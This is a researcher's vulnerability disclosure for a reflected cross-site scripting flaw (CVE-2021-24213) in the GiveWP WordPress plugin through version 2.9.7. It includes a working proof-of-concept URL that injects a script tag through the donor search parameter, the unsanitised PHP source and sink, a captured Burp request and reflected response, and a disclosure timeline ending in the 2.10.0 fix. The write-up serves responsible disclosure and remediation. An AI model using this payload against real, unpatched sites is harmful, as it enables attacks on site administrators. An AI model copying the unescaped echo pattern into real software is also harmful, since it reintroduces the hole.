CVE-2021-24213: GiveWP <= 2.9.7 Reflected Cross Site Scripting

During source code review, I noticed a XSS vulnerability in the 2.9.7 version of the GiveWP WordPress plugin. It appears to have been vulnerable since 2.4.0. It has been fixed in 2.10.0.

Proof of Concept

```
http://localhost/wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors
```

Impact

As of this writing, GiveWP is installed on 100,000+ WP instances. This vulnerability has been present since at least 2.4.0 (Jan 16th 2019). It may have been present earlier in another form. This vulnerability requires user interaction from an admin in order to be exploited.

Resolution

Install GiveWP 2.10.0 to remediate this issue. After I notified GiveWP, they released a fix the same day, around 8 hours later.

Analysis

In `class-donor-table.php`, we can see the source of the vulnerable parameter does not have any form of sanitation applied:

```php
/**
 * Retrieves the search query string.
 *
 * @access public
 * @since  1.0
 *
 * @return mixed string If search is present, false otherwise.
 */
public function get_search() {
    return ! empty( $_GET['s'] ) ? urldecode( trim( $_GET['s'] ) ) : false;
}
```

We can identify in the sink that the above source is called directly. No sanitation is applied before the sink:

```php
/**
 * Add donors search filter.
 *
 * @since 2.4.0
 * @return void
 */
public function advanced_filters() {
    $start_date = isset( $_GET['start-date'] ) ? strtotime( give_clean( $_GET['start-date'] ) ) : '';
    $end_date   = isset( $_GET['end-date'] ) ? strtotime( give_clean( $_GET['end-date'] ) ) : '';
    $status     = isset( $_GET['status'] ) ? give_clean( $_GET['status'] ) : '';
    $donor      = isset( $_GET['donor'] ) ? absint( $_GET['donor'] ) : '';
    $search     = $this->get_search();
    $form_id    = ! empty( $_GET['form_id'] ) ? absint( $_GET['form_id'] ) : 0;
    ?>
    <div id="give-donor-filters" class="give-filters">
        <div class="give-donor-search-box">
            <input type="text" id="give-donors-search-input"
            placeholder="<?php _e( 'Name, Email, or Donor ID', 'give' ); ?>"
            name="s" value="<?php echo $search; ?>">
```

We can identify that the sink is later included in `donors.php`. This page is visible to administrators at `/wp-admin/edit.php?post_type=give_forms&page=give-donors`:

```php
function give_donors_list() {

    include GIVE_PLUGIN_DIR . 'includes/admin/donors/class-donor-table.php';

    $donors_table = new Give_Donor_List_Table();
    $donors_table->prepare_items();
```

To confirm the vulnerability, a request was crafted in Burp Suite: (payload highlighted)

```
GET /wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wordpress_86a9106ae6553765la8e456835b316ab=austin%7C1617579204%7CFvsBilYAr3UAggeN21F710dLVZwseUKFD4eZguXsio4%7C31cf9887ea325b6c495ec19e31766e6ad0d615c7a6933e82d45de9d15ceed6e2; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae6553765la8e456835b316ab=austin%7C1617579204%7CFvsBilYAr3UAggeN21F710dLVZwseUKFD4eZguXsio4%7C7865f28c8174lb1a5c22553bcd98fed9908bbdcdb1559de7b18a7c96494187; wp-give_session_86a9106ae6553765la8e456835b316ab=c9a66181fbe3389d566095e09ce2e2d0%7C%7C1616974404%7C%7C1616970804%7C%7Cc5e85ee66fd36e11f2aae7d3203ffc23; wp-give_session_reset_nonce_86a9106ae6553765la8e456835b316ab=1; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1616369604
Upgrade-Insecure-Requests: 1
```

We can then see the payload reflected in the response:

```
<div id="give-donor-filters" class="give-filters">
  <div class="give-donor-search-box">
    <input type="text" id="give-donors-search-input" placeholder="Name, Email, or Donor ID" name="s" value="\">
    <script>
      alert(0)
    </script>
    ">
    <input type="submit" class="button" value="Search" ID="donor-search-submit"  />

  </div>
```

Testing Setup

- GiveWP 2.9.7
- WordPress 5.7

- XAMPP 7.4.16
- Firefox 86.0.1
- Default configurations on all products

Disclosure Log

```
3/21/2021 -- Emailed GiveWP for security contact information
3/22/2021 -- WPScan CNA issued CVE-2021-24213 (un-released)
3/22/2021 9AM -- Provided vendor with PoC
3/22/2021 5PM -- Vendor provided fix in 2.10.0
3/23/2021 8AM -- Fix validated, article posted, CVE unlocked
```

Posted on 23. March 2021